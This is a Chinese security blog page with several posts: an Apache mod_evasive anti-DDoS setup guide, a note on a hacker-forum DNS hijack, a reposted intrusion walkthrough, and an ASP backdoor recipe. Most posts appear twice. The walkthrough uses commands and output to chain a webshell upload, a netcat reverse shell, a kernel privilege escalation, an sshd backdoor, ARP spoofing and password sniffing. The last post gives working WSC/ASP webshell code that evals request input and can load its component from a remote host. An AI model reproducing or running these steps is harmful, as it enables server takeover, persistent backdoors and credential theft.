Apache增加防DDoS模块
[ 2009/03/07 18:29 | by selboo ]
DDoS (distributed denial-of-service)及DoS (denial-of-service)在网路上十分常见,而DoS攻击所传送的请求跟正常的请求一样,分别在于每秒钟发出大量请求到伺服器,使伺服器的负载增加,最常见的情况是伺服器暂停服务。
而mod_evasive则是一个预防Apache遭受DDos攻击的模组,可以防止同一个IP对相同URI发出的大量请求,可设定的选项有:
–限制同一个IP在一定秒数内请求一个页面或档案的次数。
–限制同一个IP一秒内只可发出50个请求。
–设定被禁止的IP封锁时间。
以下是mod_evasive的安装方法:
1.先将原来的httpd.conf备份起来。
2.到http://www.zdziarski.com/projects/mod_evasive/下载mod_evasive。
3.在指令模式解压及编译mod_evasive:
tar zxvf mod_evasive_1.10.1.tar.gz
cd mod_evasive/
apxs -cia mod_evasive20.c
以上的apxs会放在Apache的bin目录内;如果Apache版本是1.3的话,指令要改为:
apxs -cia mod_evasive.c
安装好mod_evasive后,便要修改httpd.conf内容。
4.开启httpd.conf,加入以内容:
DOSHashTableSize 3097
DOSPageCount 5
DOSSiteCount 100
DOSPageInterval 2
DOSSiteInterval 2
DOSBlockingPeriod 10
DOSBlockingPeriod 600
DOSHashTableSize —这是占用记忆体的大小,如果伺服器比较繁忙,这个数值要设定大一点。
DOSPageCount —同一IP在一个时段内可以存取同一页面的次数,超过会被禁止。
DOSSiteCount —同一IP在一个网站内可以占用多少Object,超过会禁止。
DOSPageInterval — DOSPageCount内的时段设定。
DOSSiteInterval — DOSSiteCount的时间设定,以秒为单位。
DOSBlockingPeriod —当发现疑似攻击后,使用者会收到403 Forbidden,这是设定封锁的时间,以秒为单位。
5.最后重新启动Apache即可。
而mod_evasive则是一个预防Apache遭受DDos攻击的模组,可以防止同一个IP对相同URI发出的大量请求,可设定的选项有:
–限制同一个IP在一定秒数内请求一个页面或档案的次数。
–限制同一个IP一秒内只可发出50个请求。
–设定被禁止的IP封锁时间。
以下是mod_evasive的安装方法:
1.先将原来的httpd.conf备份起来。
2.到http://www.zdziarski.com/projects/mod_evasive/下载mod_evasive。
3.在指令模式解压及编译mod_evasive:
tar zxvf mod_evasive_1.10.1.tar.gz
cd mod_evasive/
apxs -cia mod_evasive20.c
以上的apxs会放在Apache的bin目录内;如果Apache版本是1.3的话,指令要改为:
apxs -cia mod_evasive.c
安装好mod_evasive后,便要修改httpd.conf内容。
4.开启httpd.conf,加入以内容:
DOSHashTableSize 3097
DOSPageCount 5
DOSSiteCount 100
DOSPageInterval 2
DOSSiteInterval 2
DOSBlockingPeriod 10
DOSBlockingPeriod 600
DOSHashTableSize —这是占用记忆体的大小,如果伺服器比较繁忙,这个数值要设定大一点。
DOSPageCount —同一IP在一个时段内可以存取同一页面的次数,超过会被禁止。
DOSSiteCount —同一IP在一个网站内可以占用多少Object,超过会禁止。
DOSPageInterval — DOSPageCount内的时段设定。
DOSSiteInterval — DOSSiteCount的时间设定,以秒为单位。
DOSBlockingPeriod —当发现疑似攻击后,使用者会收到403 Forbidden,这是设定封锁的时间,以秒为单位。
5.最后重新启动Apache即可。
华夏黑客同盟论坛-被黑
[ 2009/02/16 23:44 | by selboo ]
以下是官方回复
黑客大部分是兴趣驱使,今天对我们网站是很特别的日子。再在感谢广大黑客朋友对我们的支持,对我们网站的鞭策,今后我们将加大力气加强各方面的密码安全,信息安全更上一层楼。
请广大会员放心,此次故障只是域名劫持,大家的密码信息,相关保密信息并没有泄密。
现在需要时间将域名更正被污染的DNS记录。正式恢复可能还要几个小时才能完成。
这些故障是一种攻击行为,也不能算是入侵,是黑客对网站的一种攻击手段。
本文来自: 华夏黑客同盟论坛 本文详细地址:http://bbs.77169.com/read.php?tid=243766
乌克兰黑客入侵银行视频录像
[ 2009/02/14 14:47 | by selboo ]
Linux下ARP欺骗嗅探公司邮箱密码
[ 2008/12/24 22:13 | by selboo ]
来源:中国安全网
作者:vitter
blog:blog.securitycn.net
早就跟相关人员说过邮箱认证smtp和pop协议要做加密,否则在公司内网,太容易被人sniffer到明文密码了,另外邮箱密码和bbs公用,bbs也是采用的http协议,没有用https,这些都是问题。虽然我们控制的网络部分已经做过处理了,ip和mac地址做了绑定,即使有人做arp欺骗后,除非不出网关,否则欺骗后网络到达不了网关之外,因此嗅探明文邮箱密码已经不可能(由于邮箱服务器不在同一网段)。但是对于我们一些共用资源的服务器有公网ip和内网ip且处于一个相对风险较高,而且没有根据安全级别进行过相应的安全策略的网络环境内,因此一些问题是显而易见的,但是某些人根本不以为然。所以我进行了一次简单的内部渗透测试。
首先我从有公网ip和内网ip的网络段入手,如公网ip段是222.222.222.0/255.255.255.255,内网ip段192.168.0.0/255.255.255.0。
经过踩点发现222.222.222.77(192.168.0.77)上跑了一个老版本的某php的论坛。经过检测,存在上传漏洞,利用gif89a文件头欺骗漏洞上传webshell。然后上传个nst。
如图1
利用tools里面的反弹连接:
首先在本地用nc -l -p 5546监听端口
如图2
然后在nst上点Back connect
如图3(注意红色部分)
成功登陆,
如图4
图5
在本地nc的窗口操作:
id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
权限低了点,可以利用前一段时间linux内核vmsplice本地提升权限漏洞。先用nst上传代码:
如图6:(注意红色部分,上传成功)
回到nc窗口:
cp in.c /tmp
cd /tmp
ls
in.c
nst_c_bc_c.c
sess_af927ee319af5d5569b61ac520e53fcf
ssh-ZeOfP16753
tunl0
gcc -o in in.c
ls
in
in.c
nst_c_bc_c.c
sess_af927ee319af5d5569b61ac520e53fcf
ssh-ZeOfP16753
tunl0
/tmp/in
bash: no job control in this shell
[root@bbs111 tmp]# id
uid=0(root) gid=0(root) groups=99(nobody)
[root@bbs111 tmp]#
已经是root权限了,下一步上传俺修改过的常用的后门,这个以前写过 一篇文章介绍如何留后门的,这里就不叙述了(替换sshd和部分命令,可隐藏端口、连接、文件、进程等)。
擦擦pp,进行下一步我们的重点。
我们还是直接用后门sshd登录。还是ssh舒服点:)
如图7:
在SecureCRT下利用rz命令上传我们用到的arpsniffer.c,然后编译:
[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
报错,可能是没装libnet的缘故,看说明Make: first you must install "pcap" and "libnet" 确定arpsniffer.c需要先装pcap和 libnet。
[root@bbs111 root]# rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm
[root@bbs111 root]# wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0
[root@bbs111 root]# tar zxvf libpcap-0.8.1.tar.gz
[root@bbs111 root]# cd libpcap-0.8.1
[root@bbs111 libpcap-0.8.1]# ./configure
[root@bbs111 libpcap-0.8.1]# make
[root@bbs111 libpcap-0.8.1]# make install
准备工作已经ok。下面重新编译arpsniffer.c
[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
这次没报错,编译成功。
[root@bbs111 root]# ./arpsniffer
====================================
============Arp Sniffer=============
==========Write by Paris-Ye=========
===Usage: ./arpsniffer -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]
===For example:
./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254
下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)
[root@bbs111 root]# ./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110
110
110
Get network cards mac address:
M-> 00:0e:a6:a5:80:4f
W-> 00:0f:e2:23:05:d0
S-> 00:d0:b7:88:07:59
Now Start... .. .
在另一个登录里面用tcpdump监听下:
[root@bbs111 root]# tcpdump -i eth0 host 192.168.0.11
发现有数据,把监听的数据存在文件里面:
[root@bbs111 root]# tcpdump -i eth0 host 172.16.0.12 -w pop.txt
10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。果然发现明文用户名和密码。
下面我们就可以用linsniffer监听我们想要的用户名和密码了。
先修改linsniffer.c:根据自己的需求监听相应的应用密码。我的如下:
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==80) p=1; /* http */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
[root@bbs111 root]# gcc -o linsniffer linsniffer.c
In file included from /usr/include/linux/tcp.h:21,
from linsniffer.c:32:
/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include instead!
不用管警告,直接运行编译后的linsniffer即可。
[root@bbs111 root]# ./linsniffer
用户名和密码都自动存到了tcp.log下。如图8:
经过测试后,我们把某人的用户名和密码发给某人,相信他再不会想当然的说sniffer不可能了。下面我们利用我们嗅探到的密码做个密码表,进行新一轮进一步的内网渗透测试。相信在我们根据渗透测试结果,进行相关安全技术改造和安全管理规范制度改造后,我们的网络的安全性会大大提升。
作者:vitter
blog:blog.securitycn.net
早就跟相关人员说过邮箱认证smtp和pop协议要做加密,否则在公司内网,太容易被人sniffer到明文密码了,另外邮箱密码和bbs公用,bbs也是采用的http协议,没有用https,这些都是问题。虽然我们控制的网络部分已经做过处理了,ip和mac地址做了绑定,即使有人做arp欺骗后,除非不出网关,否则欺骗后网络到达不了网关之外,因此嗅探明文邮箱密码已经不可能(由于邮箱服务器不在同一网段)。但是对于我们一些共用资源的服务器有公网ip和内网ip且处于一个相对风险较高,而且没有根据安全级别进行过相应的安全策略的网络环境内,因此一些问题是显而易见的,但是某些人根本不以为然。所以我进行了一次简单的内部渗透测试。
首先我从有公网ip和内网ip的网络段入手,如公网ip段是222.222.222.0/255.255.255.255,内网ip段192.168.0.0/255.255.255.0。
经过踩点发现222.222.222.77(192.168.0.77)上跑了一个老版本的某php的论坛。经过检测,存在上传漏洞,利用gif89a文件头欺骗漏洞上传webshell。然后上传个nst。
如图1
利用tools里面的反弹连接:
首先在本地用nc -l -p 5546监听端口
如图2
然后在nst上点Back connect
如图3(注意红色部分)
成功登陆,
如图4
图5
在本地nc的窗口操作:
id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
权限低了点,可以利用前一段时间linux内核vmsplice本地提升权限漏洞。先用nst上传代码:
如图6:(注意红色部分,上传成功)
回到nc窗口:
cp in.c /tmp
cd /tmp
ls
in.c
nst_c_bc_c.c
sess_af927ee319af5d5569b61ac520e53fcf
ssh-ZeOfP16753
tunl0
gcc -o in in.c
ls
in
in.c
nst_c_bc_c.c
sess_af927ee319af5d5569b61ac520e53fcf
ssh-ZeOfP16753
tunl0
/tmp/in
bash: no job control in this shell
[root@bbs111 tmp]# id
uid=0(root) gid=0(root) groups=99(nobody)
[root@bbs111 tmp]#
已经是root权限了,下一步上传俺修改过的常用的后门,这个以前写过 一篇文章介绍如何留后门的,这里就不叙述了(替换sshd和部分命令,可隐藏端口、连接、文件、进程等)。
擦擦pp,进行下一步我们的重点。
我们还是直接用后门sshd登录。还是ssh舒服点:)
如图7:
在SecureCRT下利用rz命令上传我们用到的arpsniffer.c,然后编译:
[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
报错,可能是没装libnet的缘故,看说明Make: first you must install "pcap" and "libnet" 确定arpsniffer.c需要先装pcap和 libnet。
[root@bbs111 root]# rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm
[root@bbs111 root]# wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0
[root@bbs111 root]# tar zxvf libpcap-0.8.1.tar.gz
[root@bbs111 root]# cd libpcap-0.8.1
[root@bbs111 libpcap-0.8.1]# ./configure
[root@bbs111 libpcap-0.8.1]# make
[root@bbs111 libpcap-0.8.1]# make install
准备工作已经ok。下面重新编译arpsniffer.c
[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
这次没报错,编译成功。
[root@bbs111 root]# ./arpsniffer
====================================
============Arp Sniffer=============
==========Write by Paris-Ye=========
===Usage: ./arpsniffer -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]
===For example:
./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254
下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)
[root@bbs111 root]# ./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110
110
110
Get network cards mac address:
M-> 00:0e:a6:a5:80:4f
W-> 00:0f:e2:23:05:d0
S-> 00:d0:b7:88:07:59
Now Start... .. .
在另一个登录里面用tcpdump监听下:
[root@bbs111 root]# tcpdump -i eth0 host 192.168.0.11
发现有数据,把监听的数据存在文件里面:
[root@bbs111 root]# tcpdump -i eth0 host 172.16.0.12 -w pop.txt
10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。果然发现明文用户名和密码。
下面我们就可以用linsniffer监听我们想要的用户名和密码了。
先修改linsniffer.c:根据自己的需求监听相应的应用密码。我的如下:
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==80) p=1; /* http */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
[root@bbs111 root]# gcc -o linsniffer linsniffer.c
In file included from /usr/include/linux/tcp.h:21,
from linsniffer.c:32:
/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include
不用管警告,直接运行编译后的linsniffer即可。
[root@bbs111 root]# ./linsniffer
用户名和密码都自动存到了tcp.log下。如图8:
经过测试后,我们把某人的用户名和密码发给某人,相信他再不会想当然的说sniffer不可能了。下面我们利用我们嗅探到的密码做个密码表,进行新一轮进一步的内网渗透测试。相信在我们根据渗透测试结果,进行相关安全技术改造和安全管理规范制度改造后,我们的网络的安全性会大大提升。
利用wsc 来做一个asp后门
[ 2008/12/08 22:07 | by selboo ]
ScriptCodingInfo.wsc代码如下,该文件可以改成任意后缀:
backdoor.asp内容如下:
调用方法如下:http://url/backdoor.asp?a=CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\1122.txt"),8,True,0).WriteLine("123")
注意这里的a=只能是vbs的代码,不可以接受像response、rquest之类的asp的东东。
如果是2000服务器可以在backdoor.asp远程调用ScriptCodingInfo.wsc,像
Set fs = GetObject("script:http://www.xx.com/ScriptCodingInfo.wsc#haiyangtop"),2003服务器中不可以。
算一个思路,鸡肋,谁有更好的办法完善,能够直接调用cs的asp木马的c端就好了。
<?xml version="1.0" encoding="gb2312" standalone="yes"?>
<?component error="true" debug="true"?>
<package>
<component id="haiyangtop">
<public>
<method name="lcx"><parameter name="b"/></method>
</public>
<script language="VBScript"><![CDATA[
sub lcx(b)
eval(b)
end sub
]]>
</script>
</component>
</package>
<?component error="true" debug="true"?>
<package>
<component id="haiyangtop">
<public>
<method name="lcx"><parameter name="b"/></method>
</public>
<script language="VBScript"><![CDATA[
sub lcx(b)
eval(b)
end sub
]]>
</script>
</component>
</package>
backdoor.asp内容如下:
<%
b=request("a")
Set fs = GetObject("script:d:/web/wwwroot/ScriptCodingInfo.wsc#haiyangtop")
fs.lcx(b)
%>
b=request("a")
Set fs = GetObject("script:d:/web/wwwroot/ScriptCodingInfo.wsc#haiyangtop")
fs.lcx(b)
%>
调用方法如下:http://url/backdoor.asp?a=CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\1122.txt"),8,True,0).WriteLine("123")
注意这里的a=只能是vbs的代码,不可以接受像response、rquest之类的asp的东东。
如果是2000服务器可以在backdoor.asp远程调用ScriptCodingInfo.wsc,像
Set fs = GetObject("script:http://www.xx.com/ScriptCodingInfo.wsc#haiyangtop"),2003服务器中不可以。
算一个思路,鸡肋,谁有更好的办法完善,能够直接调用cs的asp木马的c端就好了。